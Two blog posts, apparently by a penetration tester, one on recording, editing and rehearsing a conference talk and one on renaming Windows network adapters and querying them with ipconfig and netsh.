Once before I have recorded a demo within Kali using “recordMyDesktop“. Which is fine if you are doing something only within Kali. The problem I had with that personally was my voice sounded like it was coming in from another universe in that video. To solve that I ended up purchasing a USB microphone (see below) which I could send straight into the VM which was dedicated. Absolutely solved the problem.

In the end I discovered a free screen recorder baked into Windows 10. Part of the XBOX app you can record anything. This worked well and had no time limits and meant I could record anything on a screen. If you find this Microsoft. Just cut the code out from the XBOX app and provide it as a dedicated app please kthnxbye.

Buying a Microphone

I looked around for a microphone which would improve over the gaming headset I have.


After reading numerous reviews I ended up choosing a “Snowball Blue“. This has a few settings and I have been able to use it for: Skype, Recording Guitar, Singing, and making videos.

It is pretty versatile for the ~£50 price tag. I am very happy with this piece of kit. It is the only item that cost money during the process and personally it has been money well spent.

Recordings for “Hacking with Git” had to happen late at night when my kids were asleep. Sadly in a small room which makes the audio worse than it should have been. Don’t judge the mic on the audio in the videos. It has performed much better when I get the chance to use it in my living room.

Video Editing

The tools that I needed to demonstrate take a few minutes to run. I could describe what they were doing much quicker than showing them completely. I figured it would be really boring for a crowd to watch a progress bar. So I needed to learn how to edit videos.

I found OpenShot which is free and *awesome*. It is available on Windows and Linux. I tried both platforms and they worked for me. The process was intuitive and there are plenty of tutorials on YouTube.

Preparing your talk for a limited time slot

While I have done a few talks before this was the first time I practised effectively. I recorded my efforts and did a bunch of dress rehearsals. I listened back to them and found the parts where I was waffling.

An initial run of the talk was a flabby 55 minutes. On the day it was a taught 38 minutes, AND I had added a bunch of slides since the ludicrously long one to boot. I said more in LESS time! Practising is apparently good; who has knew this?

PowerPoint has “presenter” view which comes when you have two monitors (laptop and external). The external will show the slides “to the audience” and the laptop screen will show presenter view as below:


The highlighted bit shows the time since the presentation started. This was a vital part of the practice sessions for me.

PowerPoint Presenter Mode Not Working

In the days before BSides I was getting stressed because my “presenter” mode was not launching. I could not find the solution until literally the day before BSides I discovered Nvidia are messing with me.

The option shown below is buried within “nView Desktop Manager” -> “Applications” and “Enhancements” menu:


Telling that option to do one made presenter view work perfectly. Just in time for me to get my practices done. I hope that little Nvidia trick saves someone the mad panic I had.

In conclusion;
I don’t know how to end blog posts.

C’est fin.


Network Adapter names in Windows for Hackers

Sometimes you will need to test from a Windows environment. To cite merely two examples:

  • if you have busted out of a Citrix locked down environment and are now installing tools; or
  • if the customer wants you to simulate a rogue internal user with one of their Workstations (I love doing this personally!).

These come up relatively regularly in my life but not day to day. The biggest one is really: you just want to do some work and your host OS is Windows!

In those situations you might miss the friendly and warm embrace of “eth0” and that ilk we have under Linux. If you want to install and run Responder or Wireshark or whatever you will need to know your interface names.


Rename your adapters to mean something to you! Not complicated. Windows allows you to do this via “Control Panel” -> “Network and Internet” -> “Network Connections:


Pick a name that makes sense to you and be on your merry way. I renamed things to “Ethernet”, “Ethernet 2”, “WiFi” etc so I knew what they were. These names are then persisted within Wireshark when I tested it so it seemed like a good idea to me.

The rest of this blog are just random thoughts on Adapter Creep, and ipconfig rants if you want to stick around that is your choice!

Adapter Creep: How we got here

The number of network adapters has been on the increase in the last decade. You may have:

  • Ethernet
  • WiFi
  • VPN Connections
  • Virtualised Interfaces (for VMWare, VirtualBox etc)

I personally find it a pain to read the output of “ipconfig” or sift through the drop downs in tools. This is another reason I decided to start renaming adapters.

Rant about “ipconfig”

The following in your command prompt will display the list of adapter names you currently have:

ipconfig | findstr "adapter"

The usage instructions for “ipconfig” do state that you have a “where” clause which can let you interact with specific interfaces:


Based on attempting this myself many years ago, and on the various Stack Overflow and forum responses I just saw on trying to use that “where”, I am going to conclude that this doesn’t work well enough for anyone.

I had hoped that explicitly setting the name of the adapter would make this easier but somehow “*Ethernet*” does nothing as far as I can see.

Solutions are out there to get what you want with .bat files, or VBS etc. Fairly hacky was to do basic networking tasks.

Netsh seemingly to the rescue

In reading the forum posts I did find a tip about using “netsh” instead of “ipconfig”. While this feels like a much much bigger tool for the job. It is possible to properly query details of specific interfaces only. So sharing the syntax in case it helps:

netsh interface ip show address name="WiFI"

Where the address name is exactly the name of the adapter.